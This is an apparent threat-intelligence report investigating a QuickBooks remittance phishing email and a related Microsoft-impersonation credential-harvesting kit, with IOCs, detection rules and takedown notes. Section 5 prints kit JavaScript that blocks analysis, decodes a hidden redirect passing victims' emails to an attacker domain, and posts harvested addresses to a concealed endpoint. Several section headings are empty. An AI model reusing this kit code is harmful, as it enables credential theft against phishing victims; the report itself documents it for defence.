Phishing Investigation Report - QuickBooks Remittance Lure canvero[.]vu & Related Infrastructure

1. Executive Summary

On 2026-08-27 at 14:30 UTC, a UK recipient received a phishing email spoofing an Intuit QuickBooks payment notification. The email claimed a payment had been deposited and invited the recipient to "VIEW REMITTANCE" for an attached PAYMENT_REMITTANCE.pdf.

The link did not point directly at attacker infrastructure. Instead it was laundered through a Cisco Umbrella secure-web.cisco.com rewrite link (abused as an open redirect), terminating at a freshly-registered, privacy-shielded domain: canvero[.]vu/quikintinwebap/ (registered 2026-07-10, Dynadot, updated 2026-08-28 — the day before delivery).

Passive OSINT pivoting on the lure's markers ("Payment Notification" title, remittance wording) surfaced 49 candidate sites, 21 with high phishing confidence, including a multi-domain Microsoft-impersonation credential-phishing kit family operating from bulletproof hosting in Hong Kong (AS MILLENIALHOSTLIMITED-AS-GB, 104.223.26[.]132). Source-level analysis of the recovered kit revealed a two-stage email-harvest architecture with base64-obfuscated redirect targets and a hidden POST-based logging endpoint.

Attribution between the seed email and this kit family is LOW: same lure theme (payment → identity verification), different infrastructure generation (Jan–Jun 2026 activity vs the Aug 2026 email), and no shared hosting, registrar, or fingerprint overlap with canvero[.]vu.

Bottom line: the seed email is a confirmed phishing attempt whose destination domain was already suspended (registry status clientHold/inactive, non-resolving) by the time of analysis. The wider investigation mapped a related kit family that remains a live detection target.

2. Seed Email Analysis

2.1 Delivery chain

[compromised Google Workspace mailbox — third-party UK non-profit, notified]
  └─ Gmail SMTP (mail-wm1-f104.google.com, 209.85.128.104) — SPF pass, DKIM pass
      └─ recipient's mailbox provider (Exim, LMTP)
          └─ POP3-fetched into recipient's aggregation mailbox

Authentication results: spf=pass, dkim=pass (via the sender's *.gappssmtp.com Google Workspace selector). The sending domain hosts a legitimate, unrelated small-organisation website, indicating a compromised or fraudulently-created Google Workspace mailbox used to relay the lure. This is why the message passed DMARC-aligned checks and reached the inbox. The organisation is being notified and is not named here.

Originating IP 194.59.31[.]222 appears in the received chain for the sender domain and is treated as attacker-controlled relay infrastructure.

2.2 Subject/body mismatch (dual-lure)

The subject advertises a document portal notification; the body claims an Intuit QuickBooks payment ("A payment is on the way", "funds should be available in your account"). The implied attachment is rendered in HTML only:

[PDF] PAYMENT_REMITTANCE.pdf — PDF Document • 763 KB

No attachment exists. The fake file card is the click stimulus for the CTA button.

2.3 Call-to-action redirect laundering

<a href="hxxps://secure-web.cisco[.]com/<token>/https%3A%2F%2Fcanvero%2Evu%2Fquikintinwebap%2F"
   rel="noreferrer" target="_blank">VIEW REMITTANCE</a>

The final destination (hxxps://canvero[.]vu/quikintinwebap/) is URL-encoded as the path suffix of a Cisco Umbrella secure-web rewrite link. Because the visible link text and first-hop domain are both trusted brands (Cisco), both mail-time URL reputation and user hover-inspection are defeated.

The rewrite token (1g7IE-RFB-…1SiWU, ~560 characters) has been truncated: secure-web rewrite tokens are generated per protected tenant and may identify the third-party Cisco customer whose link-rewriting was abused.

2.4 Destination domain canvero[.]vu

Interpretation: single-purpose, short-lived phishing domain. The clientHold/inactive status (applied between delivery and analysis) indicates the registrar or registry suspended it — consistent with fast takedown of *.vu abuse.

2.5 Seed email verdict

PHISHING — HIGH confidence. Evidence: brand impersonation (Intuit QuickBooks), mismatched subject/body lures, fake attachment rendering, redirect laundering through a legitimate security vendor's link service, destination on a 7-week-old privacy-shielded domain, and a compromised/spoofed sending mailbox passing SPF/DKIM.

3. Investigation Methodology

All discovery was passive OSINT — no form submission, no authentication, no WAF bypass. The pipeline (13 stages) performed: by "phishing-tracker mcp"

1. Ingestion of the .eml (6,614 chars of text content)
2. LLM marker extraction (local model) → 10 initial markers
3. Query generation across urlscan.io, urlquery.net, SearXNG, crt.sh, Wayback
4. Passive pivots on extracted domains/IPs/phrases (16 queries, 126 raw results)
5. Scoring → 49 candidates
6. Screenshot capture (44 screenshots)
7. Vision-model analysis of each screenshot (44 analyses)
8. Clustering (shared IP / ASN / server fingerprints — 9 clusters)
9. Analyst-gated mirror review → 10 shortlisted sites
10. Source mirroring (10 sites, GET-only) + deterministic IOC extraction
11. Analyst IP pivots on recovered infrastructure (104.223.26[.]132)

Confidence model: confirmed (direct tool evidence of campaign link) > high (corroborated maliciousness) > candidate. Attribution is tracked separately from maliciousness — a malicious page defaults to unattributed absent a qualifying link.

4. Campaign Findings

4.1 Candidate landscape

The 21 high-confidence sites split into three buckets:

A. Legitimate-platform abuse (document-sharing as lure hosting) Scribd, Evernote, Filestage, Survicate, Eversign, Typeset, Publicate, WPS docs, Fileverse, MediaFire, Frame.io. Phishing content ("Payment Notification" lures) uploaded to otherwise benign services. No kit source recoverable; platform abuse-reporting is the remediation path.

B. Dedicated phishing infrastructure the EdgeOne (Tencent) credential-phishing trio, mail-donotreply[.]com click trackers, payment.systemsage[.]tech, saletopeshops[.]com, challenge.goodstepindia[.]com (see §5).

C. Advance-fee / impersonation scams imf-app.noor-securities[.]com (IMF "beneficiary" scam for USD 10.5M, purporting to be signed by the IMF Managing Director), paymentnotificationnow.blogspot[.]com (malware delivery).

4.2 Infrastructure clusters (from pipeline)

• shared_ip 43.174.246[.]29 - 3 members (the EdgeOne phishing trio)
• shared_ip 151.101.66[.]152 - 2 members (Scribd mirrors, Fastly)
• shared_ip 2a04:4e42:4e::820 - 2 members
• shared_asn CLOUDFLARENET, US - 4 members
• shared_asn FASTLY, US - 4 members
• shared_asn ACE-AS-AP - ACE, SG - 3 members
• shared_asn AMAZON-02, US - 3 members
• shared_server cloudflare - 4 members
• shared_server edgeone-pages - 3 members

4.3 Mirror outcomes (10 attempted)

5. Kit Source Analysis "Payment Notification Portal" credential harvester

Recovered via urlscan archive (live host DNS-dead). Mirror: challenge_goodstepindia_com/msoft/validation/verification/ready/index.html (5,445 bytes, SHA-256 3ec442cb4b876c11eb9127d26bf3f83af2ec65996e17db722aa366e43a9cdff8). A content-hash pivot on this SHA-256 matched only the same goodstepindia scan — the kit page is unique to this deployment, not a mass-distributed template.

5.1 Lure page key behaviours (excerpted)

Page title Payment Notification Portal; headline YOUR PAYMENT IS READY; sub-text Please verify your identity to get your payment remittance. A fake document card shows ACH_Payment_Status_Notification.PDF using a stock icon hot-linked from dreamstime. The form asks for an email address only, plus a hidden honeypot field (#company, display:none). Footer: Shared access only. No redistribution permitted.

Anti-analysis context menu blocked, view-source/save/print shortcuts and F12 suppressed:

document.addEventListener('contextmenu', e => e.preventDefault());
document.addEventListener('keydown', e => {
  if (e.ctrlKey && ['u','s','p'].includes(e.key.toLowerCase()) || e.keyCode === 123) e.preventDefault();
});

Redirect machinery is armed only on the first click anywhere on the page (defeats headless scanners that never click). On submit, the honeypot is checked, a fake spinner runs for 1.5 s, then the victim is handed to stage 2 with their email in the URL fragment:

if (!email || honeypot.value !== '') return;          // bot filter
const redirectBase = atob('aHR0cHM6Ly9jaGFsbGVuZ2UubGttZW50ZXJwcmlzZS5jb20vdmVyaWZpY2F0aW9uL3ZhbGlkYXRpb24vYWRtaW4vYWNjZXNzLw==');
setTimeout(() => { window.location.href = `${redirectBase}#${email}`; }, 1500);

In parallel, the harvested address is POSTed to a hidden logging endpoint whose name is itself base64-obfuscated:

const log = new FormData();
log.append('email', email);
log.append('document', 'ref_2024_secure.pdf');
log.append('ts', new Date().toISOString());
fetch('./api/' + btoa('logHandler'), { method: 'POST', body: log,
      headers: { 'X-Requested-With': 'XMLHttpRequest' } }).catch(() => {});

A source comment reads // YOUR PREFERRED REDIRECT STAYS HERE — a template placeholder left in by the kit author, suggesting a sold/shared kit customised per operator.

5.2 Decoded second-stage redirect

→ hxxps://challenge.lkmenterprise[.]com/verification/validation/admin/access/

The victim's email address is appended as a URL fragment (#victim@corp.com) so the stage-2 page can pre-fill the Microsoft-style verification form without the address ever hitting a server log only the client-side harvest POST (./api/logHandler) records it.

5.3 Kit TTP summary

5.4 Pivot results on the kit's infrastructure

Shared bulletproof host — 104.223.26[.]132 (Apache, AS MILLENIALHOSTLIMITED-AS-GB, MillenialHost Limited, HK). Urlscan history (Jan–Jun 2026):

Supporting infrastructure:

• goodstepindia[.]com (apex) hosted filesecurepayment.html ("Invoice - View Document") at 103.21.58[.]228 (PDR) on Apr 17 2026; apex now resolves to 185.77.97[.]43 / 91.108.103[.]80 (91.108.x is a known bulletproof range).
• 865pro[.]com apex: 65.60.7[.]15 (SingleHop, "Index of /" directory listing, since Feb 2025) → now 194.39.123[.]134, returning 404 (LiteSpeed). Registrar GoDaddy, created 2021-11-05, updated 2026-05-27.
• challenge.lkmenterprise[.]com: apex parked at AWS (15.197.225[.]128 / 3.33.251[.]168), no CT/Wayback history for the challenge subdomain — subdomain was stood up directly on the bulletproof host.

Delivery vector fingerprint: victim URLs on the 865pro host repeatedly carry HubSpot email-click tracking parameters (utm_source=hs_email&_hsenc=p2ANqtz-...&_hsmi=2) lures were blasted through a compromised or abused HubSpot email tenant, the same "legitimate infrastructure laundering" pattern as the seed email's Cisco Umbrella redirect.

URL-obfuscation signature: deliberate typos in path segments to evade signature matching mic0os0ft (zero-o), rexady (for "ready"), accss, acess, cerification, verificaton.

Current status: 104.223.26[.]132 is unreachable (connection timeouts) dropped or firewalled after takedown attention, but operator domains remain registered and repointed, so re-hosting elsewhere is likely.

5.5 Attribution assessment (seed email ↔ kit family)

LOW confidence linkage. Same lure theme and harvest-then-redirect architecture, but:

• No shared IP, ASN, registrar, or name-server between canvero[.]vu and the 865pro/goodstepindia cluster
• Different TLD ecosystem (.vu/Dynadot vs .com/GoDaddy)
• Activity windows don't overlap (kit family: Jan–Jun 2026; seed email: Aug 2026)
• canvero[.]vu had zero scan history — its full page content was never captured, so no kit fingerprint comparison is possible

The relationship is thematic (both are "payment remittance → verify identity" credential lures), not evidential.

6. MITRE ATT&CK Mapping

7. Indicators of Compromise

All indicators defanged. Replace hxxps → https and [.] → . before loading into tooling.

7.1 Seed email (CONFIRMED malicious)

7.2 Kit family infrastructure (pivot-discovered)

7.3 High-confidence related sites (21)

Notable: paymentnotificationnow.blogspot[.]com (malware delivery, burned), imf-app.noor-securities[.]com (IMF advance-fee scam, 91.204.209[.]13), payment-notification-*.edgeone[.]dev trio (Tencent EdgeOne credential phishing, 43.174.246[.]29, burned), mail-donotreply[.]com click trackers, payment.systemsage[.]tech (92.113.16[.]124), saletopeshops[.]com/fastopay (188.114.97[.]3), plus 10 legitimate-platform abuse pages (Scribd, Evernote, Filestage, etc.). Full 49-candidate set available on request.

8. Detection Opportunities

8.1 Mail-time (seed pattern)

# Sigma-style logic: trusted-vendor redirect to young domain
detection:
  selection_uri:
    - "https://secure-web.cisco.com/*"
  filter_legit:
    # destination after the Umbrella rewrite must be inspected
  condition: decoded_destination.domain_age < 90d AND decoded_destination NOT IN trusted_brands

Practical checks: decode secure-web.cisco.com/<token>/<urlencoded-target> in mail gateways; flag targets on privacy-shielded registrations younger than 90 days; flag From display names like "Hr" with financial-portal subjects; flag emails whose subject lure (document portal) mismatches body lure (payment).

8.2 Web proxy / DNS (kit family)

• Block/alert 104.223.26[.]0/24 (MillenialHost HK) low legitimate-use likelihood
• URL patterns: /msoft/validation/verification/, micr0soft-validate.*, typo-paths containing mic0os0ft|rexady|accss|acess|cerification|verificaton
• Lure strings: YOUR PAYMENT IS READY, ACH_Payment_Status_Notification
• POST bodies containing document=ref_2024_secure.pdf (kit exfil fingerprint)

8.3 Hunting (retro)

• Proxy logs: any historical hits on canvero[.]vu, 104.223.26[.]132, micr0soft-validate.865pro[.]com, challenge.* subdomains above
• Mail logs: any click on secure-web.cisco[.]com links resolving to non-Cisco destinations; any inbound mail from fileservices@ on an unfamiliar small-organisation Workspace domain with a "Document Portal Notification" subject
• HubSpot abuse: outbound _hsenc=p2ANqtz-* click traffic from org users to the kit hosts

9. Remediation & Takedown Status

10. Evidence Register

Key urlscan references (public):

• Kit page: hxxps://urlscan[.]io/result/019db060-d406-74ed-9c12-3ce7885a69bb/ (goodstepindia)
• 865pro verification portal: hxxps://urlscan[.]io/result/019d4d39-6d7c-7338-a5f6-e134467deafd/ (HubSpot-tracked click, Apr 2 2026); Mar 18 2026 series also available on urlscan under micr0soft-validate.865pro[.]com
• IMF scam: hxxps://urlscan[.]io/result/019f1280-e1d3-75dc-bdcd-88dc6cc31bf2/

11. Analyst Judgement

1. The seed email is a competent, commodity-grade phishing attempt whose key strengths were authentication laundering (compromised Workspace) and redirect laundering (Umbrella). Its destination was burned before analysis the actors behind canvero[.]vu run short-lived disposable domains.
2. The kit family discovered by pivoting is the more durable threat: an operator cycling challenge.* subdomains on bulletproof HK hosting, impersonating Microsoft through typosized paths, harvesting emails via hidden endpoints, and delivering through abused HubSpot tenants, Jan–Jun 2026. Host is down; domains are live; expect re-hosting.
3. Attribution between the two is thematic only. Do not conflate canvero[.]vu with the 865pro/goodstepindia cluster in threat-intel publications without further evidence.
4. Priority follow-ups: (a) send the drafted registrar/abuse notifications, (b) notify the compromised sender organisation, (c) monitor the 18 campaign markers on future urlscan ingestion, (d) hunt proxy/mail logs retroactively for the kit-family indicators (§8.3).

Report generated from deterministic pipeline state + analyst review. Every claim is backed by a scored candidate, marker, query result, or mirrored source artefact. Passive OSINT only — no forms submitted, no credentials entered, no authentication bypassed. Victim and compromised-third-party identifiers redacted for publication.